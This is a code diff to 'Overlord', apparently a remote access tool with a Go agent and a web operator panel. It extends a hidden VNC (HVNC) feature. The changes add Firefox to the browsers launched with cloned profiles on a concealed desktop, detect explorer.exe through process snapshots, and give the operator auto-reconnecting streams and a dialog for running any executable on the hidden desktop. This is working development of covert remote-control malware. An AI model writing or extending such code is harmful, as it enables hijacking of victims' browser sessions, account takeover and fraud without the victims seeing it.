diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
index 1e552b1..7cde46e 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
@@ -213,6 +213,15 @@ var browserInfoMap = map[string]browserInfo{
},
userData: `Microsoft\Edge\User Data`,
},
+ "firefox": {
+ name: "Firefox",
+ exeName: "firefox.exe",
+ exePaths: []string{
+ `\Mozilla Firefox\firefox.exe`,
+ },
+ userData: `Mozilla\Firefox`,
+ useAppData: true,
+ },
}
func findBrowserExe(info browserInfo) string {
@@ -709,8 +718,11 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
"brave.exe": true,
"msedge.exe": true,
}
- if browserExes[strings.ToLower(filepath.Base(filePath))] {
+ baseName := strings.ToLower(filepath.Base(filePath))
+ if browserExes[baseName] {
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu --start-fullscreen"
+ } else if baseName == "firefox.exe" {
+ args += " -no-remote -wait-for-browser"
}
cmdLine, err := syscall.UTF16FromString(filePath + args)
if err != nil {
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_stub.go
index f967f1c..824b705 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_stub.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_stub.go
@@ -50,3 +50,7 @@ func HVNCInputKeyUp(vk uint16) error {
func HVNCInputMouseWheel(delta int32) error {
return errors.New("HVNC not supported on this platform")
}
+
+func HVNCAutoStartExplorer() error {
+ return errors.New("HVNC not supported on this platform")
+}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
index 4831b21..7994a57 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
@@ -173,7 +173,16 @@ var (
// Capture cache: pooled DC/DIB per window to avoid per-frame allocation
hvncWinCache map[uintptr]*hvncWinCacheEntry
- hvncWinCachePrev []byte // previous composite frame for dirty detection
+ hvncWinCachePrev []byte
+
+ hvncCompHdcMem uintptr
+ hvncCompHbmp uintptr
+ hvncCompBits unsafe.Pointer
+ hvncCompW int
+ hvncCompH int
+
+ hvncPendingMouseMove *hvncTask
+ hvncPendingMoveMu sync.Mutex
)
type hvncTaskKind int
@@ -355,6 +364,28 @@ func CleanupHVNCDesktop() {
hvncWinCache = nil
hvncWinCachePrev = nil
+ if hvncCompHbmp != 0 {
+ deleteObject(hvncCompHbmp)
+ hvncCompHbmp = 0
+ }
+ if hvncCompHdcMem != 0 {
+ deleteDC(hvncCompHdcMem)
+ hvncCompHdcMem = 0
+ }
+ hvncCompBits = nil
+ hvncCompW = 0
+ hvncCompH = 0
+
+ hvncInputMu.Lock()
+ hvncShiftDown = false
+ hvncCtrlDown = false
+ hvncAltDown = false
+ hvncCapsLock = false
+ hvncMouseButtons = 0
+ hvncHasCursor = false
+ hvncWorkingWindow = 0
+ hvncInputMu.Unlock()
+
if hvncDesktopHandle != 0 {
if hvncOriginalDesktop != 0 {
procSetThreadDesktop.Call(hvncOriginalDesktop)
@@ -817,19 +848,7 @@ func hvncAutoStartExplorerOnThread() error {
return nil
}
- found := false
- hwnd := getTopWindow(0)
- for hwnd != 0 {
- var pid uint32
- procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
- if pid != 0 && isExplorerPID(pid) {
- found = true
- break
- }
- hwnd = getWindow(hwnd, GW_HWNDNEXT)
- }
-
- if found {
+ if isExplorerRunningToolhelp() {
log.Printf("hvnc: explorer.exe already running on HVNC desktop, skipping auto-start")
hvncExplorerStarted = true
return nil
@@ -866,6 +885,41 @@ func isExplorerPID(pid uint32) bool {
return strings.HasSuffix(name, `\explorer.exe`)
}
+func isExplorerRunningToolhelp() bool {
+ const TH32CS_SNAPPROCESS = 0x00000002
+ snap, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(TH32CS_SNAPPROCESS, 0)
+ if snap == 0 || snap == ^uintptr(0) {
+ return false
+ }
+ defer procCloseHandle.Call(snap)
+
+ type processEntry32 struct {
+ dwSize uint32
+ cntUsage uint32
+ th32ProcessID uint32
+ th32DefaultHeapID uintptr
+ th32ModuleID uint32
+ cntThreads uint32
+ th32ParentProcessID uint32
+ pcPriClassBase int32
+ dwFlags uint32
+ szExeFile [260]uint16
+ }
+
+ var pe processEntry32
+ pe.dwSize = uint32(unsafe.Sizeof(pe))
+ ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snap, uintptr(unsafe.Pointer(&pe)))
+ for ret != 0 {
+ name := strings.ToLower(syscall.UTF16ToString(pe.szExeFile[:]))
+ if name == "explorer.exe" {
+ return true
+ }
+ pe.dwSize = uint32(unsafe.Sizeof(pe))
+ ret, _, _ = kernel32.NewProc("Process32NextW").Call(snap, uintptr(unsafe.Pointer(&pe)))
+ }
+ return false
+}
+
func hvncMouseMoveOnThread(display int, x, y int32) error {
bounds, _ := hvncResolveCaptureBounds(display)
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
diff --git a/Overlord-Server/public/assets/data.js b/Overlord-Server/public/assets/data.js
index de79361..464f03f 100644
--- a/Overlord-Server/public/assets/data.js
+++ b/Overlord-Server/public/assets/data.js
@@ -2,9 +2,13 @@ import { state } from "./state.js";
import { digestData } from "./utils.js";
const POLL_INTERVAL_MS = 5000;
+const FALLBACK_POLL_MS = 30000;
const PREF_REFRESH_KEY = "overlord_refresh_interval_seconds";
let pollTimer = null;
let render = () => {};
+let dashboardWs = null;
+let dashboardWsConnected = false;
+let wsReconnectTimer = null;
export function registerRenderer(fn) {
render = fn;
@@ -100,8 +104,68 @@ function getConfiguredPollIntervalMs(defaultMs) {
return boundedSeconds * 1000;
}
+function connectDashboardWs() {
+ if (dashboardWs) return;
+ const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
+ const wsUrl = `${protocol}//${window.location.host}/api/dashboard/ws`;
+ try {
+ dashboardWs = new WebSocket(wsUrl);
+ } catch {
+ scheduleDashboardReconnect();
+ return;
+ }
+
+ dashboardWs.onopen = () => {
+ console.log("[dashboard] ws connected");
+ dashboardWsConnected = true;
+ adjustPollingForWs();
+ };
+
+ dashboardWs.onmessage = (event) => {
+ try {
+ const msg = typeof event.data === "string" ? JSON.parse(event.data) : null;
+ if (msg && msg.type === "clients_changed") {
+ loadWithOptions({ force: false });
+ }
+ } catch {}
+ };
+
+ dashboardWs.onclose = () => {
+ console.warn("[dashboard] ws closed");
+ dashboardWs = null;
+ dashboardWsConnected = false;
+ adjustPollingForWs();
+ scheduleDashboardReconnect();
+ };
+
+ dashboardWs.onerror = () => {
+ console.warn("[dashboard] ws error");
+ };
+}
+
+function scheduleDashboardReconnect() {
+ if (wsReconnectTimer) return;
+ wsReconnectTimer = setTimeout(() => {
+ wsReconnectTimer = null;
+ connectDashboardWs();
+ }, 3000);
+}
+
+function adjustPollingForWs() {
+ clearInterval(pollTimer);
+ const interval = dashboardWsConnected
+ ? FALLBACK_POLL_MS
+ : getConfiguredPollIntervalMs(POLL_INTERVAL_MS);
+ pollTimer = setInterval(() => {
+ loadWithOptions({ force: false });
+ }, interval);
+}
+
export function startAutoRefresh(intervalMs = POLL_INTERVAL_MS) {
- const effectiveInterval = getConfiguredPollIntervalMs(intervalMs);
+ connectDashboardWs();
+ const effectiveInterval = dashboardWsConnected
+ ? FALLBACK_POLL_MS
+ : getConfiguredPollIntervalMs(intervalMs);
clearInterval(pollTimer);
pollTimer = setInterval(() => {
loadWithOptions({ force: false });
diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js
index c87011f..074fcb6 100644
--- a/Overlord-Server/public/assets/hvnc.js
+++ b/Overlord-Server/public/assets/hvnc.js
@@ -9,13 +9,42 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const clientLabel = document.getElementById("clientLabel");
clientLabel.textContent = clientId;
- const ws = new WebSocket(
- (location.protocol === "https:" ? "wss://" : "ws://") +
+ let ws = null;
+ let reconnectTimer = null;
+ let reconnectDelay = 1000;
+ const maxReconnectDelay = 15000;
+
+ function buildWsUrl() {
+ return (location.protocol === "https:" ? "wss://" : "ws://") +
location.host +
"/api/clients/" +
clientId +
- "/hvnc/ws",
- );
+ "/hvnc/ws";
+ }
+
+ function connectWs() {
+ if (reconnectTimer) { clearTimeout(reconnectTimer); reconnectTimer = null; }
+ ws = new WebSocket(buildWsUrl());
+ ws.binaryType = "arraybuffer";
+ ws.addEventListener("open", onWsOpen);
+ ws.addEventListener("message", onWsMessage);
+ ws.addEventListener("close", onWsClose);
+ ws.addEventListener("error", onWsError);
+ }
+
+ function scheduleReconnect() {
+ if (reconnectTimer) return;
+ reconnectTimer = setTimeout(() => {
+ reconnectTimer = null;
+ setStreamState("connecting", "Reconnecting");
+ connectWs();
+ reconnectDelay = Math.min(reconnectDelay * 1.5, maxReconnectDelay);
+ }, reconnectDelay);
+ }
+ const latencyEl = document.getElementById("latencyDisplay");
+ let lastInputSentAt = 0;
+ let lastLatencyMs = 0;
+
const displaySelect = document.getElementById("displaySelect");
const refreshBtn = document.getElementById("refreshDisplays");
const startBtn = document.getElementById("startBtn");
@@ -37,8 +66,6 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const agentFps = document.getElementById("agentFps");
const viewerFps = document.getElementById("viewerFps");
const statusEl = document.getElementById("streamStatus");
- ws.binaryType = "arraybuffer";
-
let activeClientId = clientId;
let renderCount = 0;
let renderWindowStart = performance.now();
@@ -56,6 +83,8 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
let lastMoveSentAt = 0;
const mouseMoveIntervalMs = 33;
const inputBackpressureBytes = 256 * 1024;
+ let h264ErrorCount = 0;
+ let h264RetryTimer = null;
const storedCodecPref = localStorage.getItem(codecPrefKey);
if (storedCodecPref === "0") {
@@ -147,7 +176,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
}
function updateControls() {
- const wsOpen = ws.readyState === WebSocket.OPEN;
+ const wsOpen = ws && ws.readyState === WebSocket.OPEN;
const isStarting = streamState === "starting";
const isStreaming = streamState === "streaming";
const isStopping = streamState === "stopping";
@@ -259,7 +288,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
console.warn("No active client selected");
return;
}
- if (ws.readyState !== WebSocket.OPEN) {
+ if (!ws || ws.readyState !== WebSocket.OPEN) {
return;
}
const msg = { type, ...payload };
@@ -342,16 +371,30 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
function fallbackToJpegCodec(reason) {
if (!prefersH264) return;
+ h264ErrorCount++;
prefersH264 = false;
destroyVideoDecoder();
if (codecH264) codecH264.checked = false;
- localStorage.setItem(codecPrefKey, "0");
- console.warn("hvnc: falling back to jpeg codec", reason || "");
+ console.warn("hvnc: falling back to jpeg codec", reason || "", "errors:", h264ErrorCount);
const q = Number(qualitySlider?.value) || 90;
setCodecModeLabel("jpeg", "fallback");
- if (ws.readyState === WebSocket.OPEN) {
+ if (ws && ws.readyState === WebSocket.OPEN) {
sendCmd("hvnc_set_quality", { quality: q, codec: "jpeg" });
}
+ if (h264ErrorCount <= 3 && typeof VideoDecoder === "function") {
+ if (h264RetryTimer) clearTimeout(h264RetryTimer);
+ h264RetryTimer = setTimeout(() => {
+ h264RetryTimer = null;
+ prefersH264 = true;
+ if (codecH264) codecH264.checked = true;
+ setCodecModeLabel("h264", "retry");
+ if (ws && ws.readyState === WebSocket.OPEN) {
+ pushQuality(qualitySlider?.value || 90);
+ }
+ }, 5000);
+ } else if (h264ErrorCount > 3) {
+ localStorage.setItem(codecPrefKey, "0");
+ }
}
function isH264KeyFrame(data) {
@@ -465,7 +508,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
});
}
- ws.addEventListener("message", async function (ev) {
+ async function onWsMessage(ev) {
if (ev.data instanceof ArrayBuffer) {
const buf = new Uint8Array(ev.data);
if (buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d) {
@@ -596,6 +639,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
handleCloneProgress(msg);
return;
}
+ if (msg && msg.type === "hvnc_error") {
+ console.error("hvnc: server error:", msg.error || msg.message);
+ return;
+ }
return;
}
@@ -608,34 +655,48 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
handleCloneProgress(msg);
return;
}
- });
+ if (msg && msg.type === "hvnc_error") {
+ console.error("hvnc: server error:", msg.error || msg.message);
+ return;
+ }
+ }
- ws.addEventListener("open", function () {
+ function onWsOpen() {
+ reconnectDelay = 1000;
if (qualitySlider) {
pushQuality(qualitySlider.value);
}
clearOfflineTimer();
- setStreamState("idle", "Stopped");
+ if (desiredStreaming) {
+ setStreamState("starting", "Resuming stream");
+ if (displaySelect && displaySelect.value !== undefined) {
+ sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
+ }
+ sendCmd("hvnc_start", { autoStartExplorer: false });
+ } else {
+ setStreamState("idle", "Stopped");
+ }
fetchClientInfo().then(() => {
if (displaySelect && displaySelect.value) {
- console.debug("hvnc: initial select display", displaySelect.value);
- sendCmd("hvnc_select_display", {
- display: parseInt(displaySelect.value, 10),
- });
+ sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) });
}
});
- });
+ }
- ws.addEventListener("close", function () {
- desiredStreaming = false;
+ function onWsClose() {
destroyVideoDecoder();
- setStreamState("disconnected", "Disconnected");
- });
+ if (desiredStreaming) {
+ setStreamState("connecting", "Reconnecting");
+ scheduleReconnect();
+ } else {
+ setStreamState("disconnected", "Disconnected");
+ }
+ }
- ws.addEventListener("error", function () {
+ function onWsError() {
destroyVideoDecoder();
setStreamState("error", "WebSocket error");
- });
+ }
if (!frameWatchTimer) {
frameWatchTimer = setInterval(() => {
@@ -754,7 +815,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
});
function stopOnExit() {
- if (ws.readyState === WebSocket.OPEN && desiredStreaming) {
+ if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) {
desiredStreaming = false;
sendCmd("hvnc_stop", {});
}
@@ -818,20 +879,68 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
+ } else if (action === "start-firefox") {
+ const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
+ const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
+ const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
+ sendCmd("hvnc_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning });
} else if (action === "start-custom") {
- const exePath = prompt("Enter exe path (required)");
- if (!exePath) {
- hideContextMenu();
- return;
- }
- const args = prompt("Enter arguments (optional)") || "";
- const cmd = args.trim() ? `\"${exePath}\" ${args}` : `\"${exePath}\"`;
- sendCmd("hvnc_start_process", { path: cmd });
+ hideContextMenu();
+ showCustomExeModal();
+ return;
}
hideContextMenu();
});
});
}
+ function showCustomExeModal() {
+ let overlay = document.getElementById("hvncCustomExeOverlay");
+ if (overlay) { overlay.remove(); }
+ overlay = document.createElement("div");
+ overlay.id = "hvncCustomExeOverlay";
+ overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60";
+ overlay.innerHTML = `
+
+
Run Custom Executable
+
+
+
+
+
+
+
+
+
`;
+ document.body.appendChild(overlay);
+ const pathInput = document.getElementById("hvncCustomExePath");
+ const argsInput = document.getElementById("hvncCustomExeArgs");
+ pathInput.focus();
+ function close() { overlay.remove(); }
+ document.getElementById("hvncCustomExeCancel").addEventListener("click", close);
+ overlay.addEventListener("click", (e) => { if (e.target === overlay) close(); });
+ function run() {
+ const exePath = pathInput.value.trim();
+ if (!exePath) return;
+ const args = argsInput.value.trim();
+ const cmd = args ? `"${exePath}" ${args}` : `"${exePath}"`;
+ sendCmd("hvnc_start_process", { path: cmd });
+ close();
+ }
+ document.getElementById("hvncCustomExeRun").addEventListener("click", run);
+ pathInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); argsInput.focus(); } });
+ argsInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); run(); } });
+ }
+
+ function updateLatencyDisplay(ms) {
+ lastLatencyMs = ms;
+ if (latencyEl) {
+ latencyEl.textContent = `${Math.round(ms)}ms`;
+ }
+ }
+
+ connectWs();
fetchClientInfo();
})();
diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html
index 3bdfbb8..e7a7794 100644
--- a/Overlord-Server/public/hvnc.html
+++ b/Overlord-Server/public/hvnc.html
@@ -114,6 +114,9 @@
--
+ |
+ lat
+ --
Start Edge
+
Custom